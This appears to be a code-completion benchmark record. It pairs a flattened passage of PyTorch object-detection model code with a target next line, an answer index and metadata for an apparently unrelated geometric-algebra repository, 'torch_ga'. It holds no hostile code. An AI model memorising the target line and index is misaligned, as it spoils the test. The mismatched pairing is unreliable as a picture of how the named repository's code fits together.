self.conv1x1(self.conv_dw(x)) if self.gamma is not None: x = x.mul(self.gamma.reshape(1, -1, 1, 1)) return x class RobustConv2(nn.Module): # Robust convolution 2 (use [32, 5, 2] or [32, 7, 4] or [32, 11, 8] for one of the paths in CSP). def __init__(self, c1, c2, k=7, s=4, p=None, g=1, act=True, layer_scale_init_value=1e-6): # ch_in, ch_out, kernel, stride, padding, groups super(RobustConv2, self).__init__() self.conv_strided = Conv(c1, c1, k=k, s=s, p=p, g=c1, act=act) self.conv_deconv = nn.ConvTranspose2d(in_channels=c1, out_channels=c2, kernel_size=s, stride=s, padding=0, bias=True, dilation=1, groups=1 ) self.gamma = nn.Parameter(layer_scale_init_value * torch.ones(c2)) if layer_scale_init_value > 0 else None def forward(self, x): x = self.conv_deconv(self.conv_strided(x)) if self.gamma is not None: x = x.mul(self.gamma.reshape(1, -1, 1, 1)) return x def DWConv(c1, c2, k=1, s=1, act=True): # Depthwise convolution return Conv(c1, c2, k, s, g=math.gcd(c1, c2), act=act) class GhostConv(nn.Module): # Ghost Convolution https://github.com/huawei-noah/ghostnet def __init__(self, c1, c2, k=1, s=1, g=1, act=True): # ch_in, ch_out, kernel, stride, groups super(GhostConv, self).__init__() c_ = c2 // 2 # hidden channels self.cv1 = Conv(c1, c_, k, s, None, g, act) self.cv2 = Conv(c_, c_, 5, 1, None, c_, act) def forward(self, x): y = self.cv1(x) return torch.cat([y, self.cv2(y)], 1) class Stem(nn.Module): # Stem def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super(Stem, self).__init__() c_ = int(c2/2) # hidden channels self.cv1 = Conv(c1, c_, 3, 2) self.cv2 = Conv(c_, c_, 1, 1) self.cv3 = Conv(c_, c_, 3, 2) self.pool = torch.nn.MaxPool2d(2, stride=2) self.cv4 = Conv(2 * c_, c2, 1, 1) def forward(self, x): x = self.cv1(x) return self.cv4(torch.cat((self.cv3(self.cv2(x)), self.pool(x)), dim=1)) class DownC(nn.Module): # Spatial pyramid pooling layer used in YOLOv3-SPP def __init__(self, c1, c2, n=1, k=2): super(DownC, self).__init__() c_ = int(c1) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_, c2//2, 3, k) self.cv3 = Conv(c1, c2//2, 1, 1) self.mp = nn.MaxPool2d(kernel_size=k, stride=k) def forward(self, x): return torch.cat((self.cv2(self.cv1(x)), self.cv3(self.mp(x))), dim=1) class SPP(nn.Module): # Spatial pyramid pooling layer used in YOLOv3-SPP def __init__(self, c1, c2, k=(5, 9, 13)): super(SPP, self).__init__() c_ = c1 // 2 # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * (len(k) + 1), c2, 1, 1) self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k]) def forward(self, x): x = self.cv1(x) return self.cv2(torch.cat([x] + [m(x) for m in self.m], 1)) class Bottleneck(nn.Module): # Darknet bottleneck def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super(Bottleneck, self).__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_, c2, 3, 1, g=g) self.add = shortcut and c1 == c2 def forward(self, x): return x + self.cv2(self.cv1(x)) if self.add else self.cv2(self.cv1(x)) class Res(nn.Module): # ResNet bottleneck def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super(Res, self).__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_, c_, 3, 1, g=g) self.cv3 = Conv(c_, c2, 1, 1) self.add = shortcut and c1 == c2 def forward(self, x): return x + self.cv3(self.cv2(self.cv1(x))) if self.add else self.cv3(self.cv2(self.cv1(x))) class ResX(Res): # ResNet bottleneck def __init__(self, c1, c2, shortcut=True, g=32, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super().__init__(c1, c2, shortcut, g, e) c_ = int(c2 * e) # hidden channels class Ghost(nn.Module): # Ghost Bottleneck https://github.com/huawei-noah/ghostnet def __init__(self, c1, c2, k=3, s=1): # ch_in, ch_out, kernel, stride super(Ghost, self).__init__() c_ = c2 // 2 self.conv = nn.Sequential(GhostConv(c1, c_, 1, 1), # pw DWConv(c_, c_, k, s, act=False) if s == 2 else nn.Identity(), # dw GhostConv(c_, c2, 1, 1, act=False)) # pw-linear self.shortcut = nn.Sequential(DWConv(c1, c1, k, s, act=False), Conv(c1, c2, 1, 1, act=False)) if s == 2 else nn.Identity() def forward(self, x): return self.conv(x) + self.shortcut(x) ##### end of basic ##### ##### cspnet ##### class SPPCSPC(nn.Module): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=False, g=1, e=0.5, k=(5, 9, 13)): super(SPPCSPC, self).__init__() c_ = int(2 * c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c1, c_, 1, 1) self.cv3 = Conv(c_, c_, 3, 1) self.cv4 = Conv(c_, c_, 1, 1) self.m = nn.ModuleList([nn.MaxPool2d(kernel_size=x, stride=1, padding=x // 2) for x in k]) self.cv5 = Conv(4 * c_, c_, 1, 1) self.cv6 = Conv(c_, c_, 3, 1) self.cv7 = Conv(2 * c_, c2, 1, 1) def forward(self, x): x1 = self.cv4(self.cv3(self.cv1(x))) y1 = self.cv6(self.cv5(torch.cat([x1] + [m(x1) for m in self.m], 1))) y2 = self.cv2(x) return self.cv7(torch.cat((y1, y2), dim=1)) class GhostSPPCSPC(SPPCSPC): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=False, g=1, e=0.5, k=(5, 9, 13)): super().__init__(c1, c2, n, shortcut, g, e, k) c_ = int(2 * c2 * e) # hidden channels self.cv1 = GhostConv(c1, c_, 1, 1) self.cv2 = GhostConv(c1, c_, 1, 1) self.cv3 = GhostConv(c_, c_, 3, 1) self.cv4 = GhostConv(c_, c_, 1, 1) self.cv5 = GhostConv(4 * c_, c_, 1, 1) self.cv6 = GhostConv(c_, c_, 3, 1) self.cv7 = GhostConv(2 * c_, c2, 1, 1) class GhostStem(Stem): # Stem def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super().__init__(c1, c2, k, s, p, g, act) c_ = int(c2/2) # hidden channels self.cv1 = GhostConv(c1, c_, 3, 2) self.cv2 = GhostConv(c_, c_, 1, 1) self.cv3 = GhostConv(c_, c_, 3, 2) self.cv4 = GhostConv(2 * c_, c2, 1, 1) class BottleneckCSPA(nn.Module): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super(BottleneckCSPA, self).__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c1, c_, 1, 1) self.cv3 = Conv(2 * c_, c2, 1, 1) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) def forward(self, x): y1 = self.m(self.cv1(x)) y2 = self.cv2(x) return self.cv3(torch.cat((y1, y2), dim=1)) class BottleneckCSPB(nn.Module): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=False, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super(BottleneckCSPB, self).__init__() c_ = int(c2) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_, c_, 1, 1) self.cv3 = Conv(2 * c_, c2, 1, 1) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) def forward(self, x): x1 = self.cv1(x) y1 = self.m(x1) y2 = self.cv2(x1) return self.cv3(torch.cat((y1, y2), dim=1)) class BottleneckCSPC(nn.Module): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super(BottleneckCSPC, self).__init__() c_ = int(c2 * e) # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c1, c_, 1, 1) self.cv3 = Conv(c_, c_, 1, 1) self.cv4 = Conv(2 * c_, c2, 1, 1) self.m = nn.Sequential(*[Bottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) def forward(self, x): y1 = self.cv3(self.m(self.cv1(x))) y2 = self.cv2(x) return self.cv4(torch.cat((y1, y2), dim=1)) class ResCSPA(BottleneckCSPA): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[Res(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class ResCSPB(BottleneckCSPB): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2) # hidden channels self.m = nn.Sequential(*[Res(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class ResCSPC(BottleneckCSPC): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[Res(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class ResXCSPA(ResCSPA): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=32, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[Res(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) class ResXCSPB(ResCSPB): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=32, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2) # hidden channels self.m = nn.Sequential(*[Res(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) class ResXCSPC(ResCSPC): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=32, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[Res(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) class GhostCSPA(BottleneckCSPA): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[Ghost(c_, c_) for _ in range(n)]) class GhostCSPB(BottleneckCSPB): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2) # hidden channels self.m = nn.Sequential(*[Ghost(c_, c_) for _ in range(n)]) class GhostCSPC(BottleneckCSPC): # CSP https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[Ghost(c_, c_) for _ in range(n)]) ##### end of cspnet ##### ##### yolor ##### class ImplicitA(nn.Module): def __init__(self, channel, mean=0., std=.02): super(ImplicitA, self).__init__() self.channel = channel self.mean = mean self.std = std self.implicit = nn.Parameter(torch.zeros(1, channel, 1, 1)) nn.init.normal_(self.implicit, mean=self.mean, std=self.std) def forward(self, x): return self.implicit + x class ImplicitM(nn.Module): def __init__(self, channel, mean=1., std=.02): super(ImplicitM, self).__init__() self.channel = channel self.mean = mean self.std = std self.implicit = nn.Parameter(torch.ones(1, channel, 1, 1)) nn.init.normal_(self.implicit, mean=self.mean, std=self.std) def forward(self, x): return self.implicit * x ##### end of yolor ##### ##### repvgg ##### class RepConv(nn.Module): # Represented convolution # https://arxiv.org/abs/2101.03697 def __init__(self, c1, c2, k=3, s=1, p=None, g=1, act=True, deploy=False): super(RepConv, self).__init__() self.deploy = deploy self.groups = g self.in_channels = c1 self.out_channels = c2 assert k == 3 assert autopad(k, p) == 1 padding_11 = autopad(k, p) - k // 2 self.act = nn.SiLU() if act is True else (act if isinstance(act, nn.Module) else nn.Identity()) if deploy: self.rbr_reparam = nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=True) else: self.rbr_identity = (nn.BatchNorm2d(num_features=c1) if c2 == c1 and s == 1 else None) self.rbr_dense = nn.Sequential( nn.Conv2d(c1, c2, k, s, autopad(k, p), groups=g, bias=False), nn.BatchNorm2d(num_features=c2), ).cuda() ### self.rbr_1x1 = nn.Sequential( nn.Conv2d( c1, c2, 1, s, padding_11, groups=g, bias=False), nn.BatchNorm2d(num_features=c2), ).cuda() ### def forward(self, inputs): # print('repconv-inputs', inputs.shape) if hasattr(self, "rbr_reparam"): return self.act(self.rbr_reparam(inputs)) if self.rbr_identity is None: id_out = 0 else: id_out = self.rbr_identity(inputs) # print('repconv-outputs', (self.act(self.rbr_dense(inputs) + self.rbr_1x1(inputs) + id_out)).shape) return self.act(self.rbr_dense(inputs) + self.rbr_1x1(inputs) + id_out) def get_equivalent_kernel_bias(self): kernel3x3, bias3x3 = self._fuse_bn_tensor(self.rbr_dense) kernel1x1, bias1x1 = self._fuse_bn_tensor(self.rbr_1x1) kernelid, biasid = self._fuse_bn_tensor(self.rbr_identity) return ( kernel3x3 + self._pad_1x1_to_3x3_tensor(kernel1x1) + kernelid, bias3x3 + bias1x1 + biasid, ) def _pad_1x1_to_3x3_tensor(self, kernel1x1): if kernel1x1 is None: return 0 else: return nn.functional.pad(kernel1x1, [1, 1, 1, 1]) def _fuse_bn_tensor(self, branch): if branch is None: return 0, 0 if isinstance(branch, nn.Sequential): kernel = branch[0].weight running_mean = branch[1].running_mean running_var = branch[1].running_var gamma = branch[1].weight beta = branch[1].bias eps = branch[1].eps else: assert isinstance(branch, nn.BatchNorm2d) if not hasattr(self, "id_tensor"): input_dim = self.in_channels // self.groups kernel_value = np.zeros( (self.in_channels, input_dim, 3, 3), dtype=np.float32 ) for i in range(self.in_channels): kernel_value[i, i % input_dim, 1, 1] = 1 self.id_tensor = torch.from_numpy(kernel_value).to(branch.weight.device) kernel = self.id_tensor running_mean = branch.running_mean running_var = branch.running_var gamma = branch.weight beta = branch.bias eps = branch.eps std = (running_var + eps).sqrt() t = (gamma / std).reshape(-1, 1, 1, 1) return kernel * t, beta - running_mean * gamma / std def repvgg_convert(self): kernel, bias = self.get_equivalent_kernel_bias() return ( kernel.detach().cpu().numpy(), bias.detach().cpu().numpy(), ) def fuse_conv_bn(self, conv, bn): std = (bn.running_var + bn.eps).sqrt() bias = bn.bias - bn.running_mean * bn.weight / std t = (bn.weight / std).reshape(-1, 1, 1, 1) weights = conv.weight * t bn = nn.Identity() conv = nn.Conv2d(in_channels = conv.in_channels, out_channels = conv.out_channels, kernel_size = conv.kernel_size, stride=conv.stride, padding = conv.padding, dilation = conv.dilation, groups = conv.groups, bias = True, padding_mode = conv.padding_mode) conv.weight = torch.nn.Parameter(weights) conv.bias = torch.nn.Parameter(bias) return conv def fuse_repvgg_block(self): if self.deploy: return print(f"RepConv.fuse_repvgg_block") self.rbr_dense = self.fuse_conv_bn(self.rbr_dense[0], self.rbr_dense[1]) self.rbr_1x1 = self.fuse_conv_bn(self.rbr_1x1[0], self.rbr_1x1[1]) rbr_1x1_bias = self.rbr_1x1.bias weight_1x1_expanded = torch.nn.functional.pad(self.rbr_1x1.weight, [1, 1, 1, 1]) # Fuse self.rbr_identity if (isinstance(self.rbr_identity, nn.BatchNorm2d) or isinstance(self.rbr_identity, nn.modules.batchnorm.SyncBatchNorm)): # print(f"fuse: rbr_identity == BatchNorm2d or SyncBatchNorm") identity_conv_1x1 = nn.Conv2d( in_channels=self.in_channels, out_channels=self.out_channels, kernel_size=1, stride=1, padding=0, groups=self.groups, bias=False) identity_conv_1x1.weight.data = identity_conv_1x1.weight.data.to(self.rbr_1x1.weight.data.device) identity_conv_1x1.weight.data = identity_conv_1x1.weight.data.squeeze().squeeze() # print(f" identity_conv_1x1.weight = {identity_conv_1x1.weight.shape}") identity_conv_1x1.weight.data.fill_(0.0) identity_conv_1x1.weight.data.fill_diagonal_(1.0) identity_conv_1x1.weight.data = identity_conv_1x1.weight.data.unsqueeze(2).unsqueeze(3) # print(f" identity_conv_1x1.weight = {identity_conv_1x1.weight.shape}") identity_conv_1x1 = self.fuse_conv_bn(identity_conv_1x1, self.rbr_identity) bias_identity_expanded = identity_conv_1x1.bias weight_identity_expanded = torch.nn.functional.pad(identity_conv_1x1.weight, [1, 1, 1, 1]) else: # print(f"fuse: rbr_identity != BatchNorm2d, rbr_identity = {self.rbr_identity}") bias_identity_expanded = torch.nn.Parameter( torch.zeros_like(rbr_1x1_bias) ) weight_identity_expanded = torch.nn.Parameter( torch.zeros_like(weight_1x1_expanded) ) #print(f"self.rbr_1x1.weight = {self.rbr_1x1.weight.shape}, ") #print(f"weight_1x1_expanded = {weight_1x1_expanded.shape}, ") #print(f"self.rbr_dense.weight = {self.rbr_dense.weight.shape}, ") self.rbr_dense.weight = torch.nn.Parameter(self.rbr_dense.weight + weight_1x1_expanded + weight_identity_expanded) self.rbr_dense.bias = torch.nn.Parameter(self.rbr_dense.bias + rbr_1x1_bias + bias_identity_expanded) self.rbr_reparam = self.rbr_dense self.deploy = True if self.rbr_identity is not None: del self.rbr_identity self.rbr_identity = None if self.rbr_1x1 is not None: del self.rbr_1x1 self.rbr_1x1 = None if self.rbr_dense is not None: del self.rbr_dense self.rbr_dense = None class RepBottleneck(Bottleneck): # Standard bottleneck def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super().__init__(c1, c2, shortcut=True, g=1, e=0.5) c_ = int(c2 * e) # hidden channels self.cv2 = RepConv(c_, c2, 3, 1, g=g) class RepBottleneckCSPA(BottleneckCSPA): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[RepBottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) class RepBottleneckCSPB(BottleneckCSPB): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=False, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2) # hidden channels self.m = nn.Sequential(*[RepBottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) class RepBottleneckCSPC(BottleneckCSPC): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[RepBottleneck(c_, c_, shortcut, g, e=1.0) for _ in range(n)]) class RepRes(Res): # Standard bottleneck def __init__(self, c1, c2, shortcut=True, g=1, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super().__init__(c1, c2, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.cv2 = RepConv(c_, c_, 3, 1, g=g) class RepResCSPA(ResCSPA): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[RepRes(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class RepResCSPB(ResCSPB): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=False, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2) # hidden channels self.m = nn.Sequential(*[RepRes(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class RepResCSPC(ResCSPC): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=1, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[RepRes(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class RepResX(ResX): # Standard bottleneck def __init__(self, c1, c2, shortcut=True, g=32, e=0.5): # ch_in, ch_out, shortcut, groups, expansion super().__init__(c1, c2, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.cv2 = RepConv(c_, c_, 3, 1, g=g) class RepResXCSPA(ResXCSPA): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=32, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[RepResX(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class RepResXCSPB(ResXCSPB): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=False, g=32, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2) # hidden channels self.m = nn.Sequential(*[RepResX(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) class RepResXCSPC(ResXCSPC): # CSP Bottleneck https://github.com/WongKinYiu/CrossStagePartialNetworks def __init__(self, c1, c2, n=1, shortcut=True, g=32, e=0.5): # ch_in, ch_out, number, shortcut, groups, expansion super().__init__(c1, c2, n, shortcut, g, e) c_ = int(c2 * e) # hidden channels self.m = nn.Sequential(*[RepResX(c_, c_, shortcut, g, e=0.5) for _ in range(n)]) ##### end of repvgg ##### ##### transformer ##### class TransformerLayer(nn.Module): # Transformer layer https://arxiv.org/abs/2010.11929 (LayerNorm layers removed for better performance) def __init__(self, c, num_heads): super().__init__() self.q = nn.Linear(c, c, bias=False) self.k = nn.Linear(c, c, bias=False) self.v = nn.Linear(c, c, bias=False) self.ma = nn.MultiheadAttention(embed_dim=c, num_heads=num_heads) self.fc1 = nn.Linear(c, c, bias=False) self.fc2 = nn.Linear(c, c, bias=False) def forward(self, x): x = self.ma(self.q(x), self.k(x), self.v(x))[0] + x x = self.fc2(self.fc1(x)) + x return x class TransformerBlock(nn.Module): # Vision Transformer https://arxiv.org/abs/2010.11929 def __init__(self, c1, c2, num_heads, num_layers): super().__init__() self.conv = None if c1 != c2: self.conv = Conv(c1, c2) self.linear = nn.Linear(c2, c2) # learnable position embedding self.tr = nn.Sequential(*[TransformerLayer(c2, num_heads) for _ in range(num_layers)]) self.c2 = c2 def forward(self, x): if self.conv is not None: x = self.conv(x) b, _, w, h = x.shape p = x.flatten(2) p = p.unsqueeze(0) p = p.transpose(0, 3) p = p.squeeze(3) e = self.linear(p) x = p + e x = self.tr(x) x = x.unsqueeze(3) x = x.transpose(0, 3) x = x.reshape(b, self.c2, w, h) return x ##### end of transformer ##### ##### yolov5 ##### class Focus(nn.Module): # Focus wh information into c-space def __init__(self, c1, c2, k=1, s=1, p=None, g=1, act=True): # ch_in, ch_out, kernel, stride, padding, groups super(Focus, self).__init__() self.conv = Conv(c1 * 4, c2, k, s, p, g, act) # self.contract = Contract(gain=2) def forward(self, x): # x(b,c,w,h) -> y(b,4c,w/2,h/2) return self.conv(torch.cat([x[..., ::2, ::2], x[..., 1::2, ::2], x[..., ::2, 1::2], x[..., 1::2, 1::2]], 1)) # return self.conv(self.contract(x)) class SPPF(nn.Module): # Spatial Pyramid Pooling - Fast (SPPF) layer for YOLOv5 by Glenn Jocher def __init__(self, c1, c2, k=5): # equivalent to SPP(k=(5, 9, 13)) super().__init__() c_ = c1 // 2 # hidden channels self.cv1 = Conv(c1, c_, 1, 1) self.cv2 = Conv(c_ * 4, c2, 1, 1) self.m = nn.MaxPool2d(kernel_size=k, stride=1, padding=k // 2) def forward(self, x): x = self.cv1(x) y1 = self.m(x) y2 = self.m(y1) return self.cv2(torch.cat([x, y1, y2, self.m(y2)], 1)) class Contract(nn.Module): # Contract width-height into channels, i.e. x(1,64,80,80) to x(1,256,40,40) def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): N, C, H, W = x.size() # assert (H / s == 0) and (W / s == 0), 'Indivisible gain' s = self.gain x = x.view(N, C, H // s, s, W // s, s) # x(1,64,40,2,40,2) x = x.permute(0, 3, 5, 1, 2, 4).contiguous() # x(1,2,2,64,40,40) return x.view(N, C * s * s, H // s, W // s) # x(1,256,40,40) class Expand(nn.Module): # Expand channels into width-height, i.e. x(1,64,80,80) to x(1,16,160,160) def __init__(self, gain=2): super().__init__() self.gain = gain def forward(self, x): N, C, H, W = x.size() # assert C / s ** 2 == 0, 'Indivisible gain' s = self.gain x = x.view(N, s, s, C // s ** 2, H, W) # x(1,2,2,16,80,80) x = x.permute(0, 3, 4, 1, 5, 2).contiguous() # x(1,16,80,2,80,2) return x.view(N, C // s ** 2, H * s, W * s) # x(1,16,160,160) class NMS(nn.Module): # Non-Maximum Suppression (NMS) module conf = 0.25 # confidence threshold iou = 0.45 # IoU threshold classes = None # (optional list) filter by class def __init__(self): super(NMS, self).__init__() def forward(self, x): return non_max_suppression(x[0], conf_thres=self.conf, iou_thres=self.iou, classes=self.classes) class autoShape(nn.Module): # input-robust model wrapper for passing cv2/np/PIL/torch inputs. Includes preprocessing, inference and NMS conf = 0.25 # NMS confidence threshold iou = 0.45 # NMS IoU threshold classes = None # (optional list) filter by class def __init__(self, model): super(autoShape, self).__init__() self.model = model.eval() def autoshape(self): print('autoShape already enabled, skipping... ') # model already converted to model.autoshape() return self @torch.no_grad() def forward(self, imgs, size=640, augment=False, profile=False): # Inference from various sources. For height=640, width=1280, RGB images example inputs are: # filename: imgs = 'data/samples/zidane.jpg' # URI: = 'https://github.com/ultralytics/yolov5/releases/download/v1.0/zidane.jpg' # OpenCV: = cv2.imread('image.jpg')[:,:,::-1] # HWC BGR to RGB x(640,1280,3) # PIL: = Image.open('image.jpg') # HWC x(640,1280,3) # numpy: = np.zeros((640,1280,3)) # HWC # torch: = torch.zeros(16,3,320,640) # BCHW (scaled to size=640, 0-1 values) # multiple: = [Image.open('image1.jpg'), Image.open('image2.jpg'), ...] # list of images t = [time_synchronized()] p = next(self.model.parameters()) # for device and type if isinstance(imgs, torch.Tensor): # torch with amp.autocast(enabled=p.device.type != 'cpu'): return self.model(imgs.to(p.device).type_as(p), augment, profile) # inference # Pre-process n, imgs = (len(imgs), imgs) if isinstance(imgs, list) else (1, [imgs]) # number of images, list of images shape0, shape1, files = [], [], [] # image and inference shapes, filenames for i, im in enumerate(imgs): f = f'image{i}' # filename if isinstance(im, str): # filename or uri im, f = np.asarray(Image.open(requests.get(im, stream=True).raw if im.startswith('http') else im)), im elif isinstance(im, Image.Image): # PIL Image im, f = np.asarray(im), getattr(im, 'filename', f) or f files.append(Path(f).with_suffix('.jpg').name) if im.shape[0] < 5: # image in CHW im = im.transpose((1, 2, 0)) # reverse dataloader .transpose(2, 0, 1) im = im[:, :, :3] if im.ndim == 3 else np.tile(im[:, :, None], 3) # enforce 3ch input s = im.shape[:2] # HWC shape0.append(s) # image shape g = (size / max(s)) # gain shape1.append([y * g for y in s]) imgs[i] = im # update
shape1 = [make_divisible(x, int(self.stride.max())) for x in np.stack(shape1, 0).max(0)] # inference shape
2
2023-10-08 13:05:58+00:00
12k
falesiani/torch_ga
torch_ga/torch_ga.py
[ { "identifier": "get_cayley_tensor", "path": "torch_ga/cayley.py", "snippet": "def get_cayley_tensor(metric, bases, blades):\n num_blades = len(blades)\n\n t_geom = np.zeros((num_blades, num_blades, num_blades), dtype=np.int32)\n t_inner = np.zeros((num_blades, num_blades, num_blades), dtype=np...
from typing import List, Any, Union, Optional from .cayley import get_cayley_tensor, blades_from_bases from .blades import ( BladeKind, get_blade_of_kind_indices, get_blade_indices_from_names, get_blade_repr, invert_blade_indices ) from .mv_ops import mv_multiply, mv_reversion, mv_grade_automorphism, mv_conv1d, f_mv_conv1d, mv_multiply_element_wise from .mv import MultiVector import numbers import numpy as np import torch
9,038
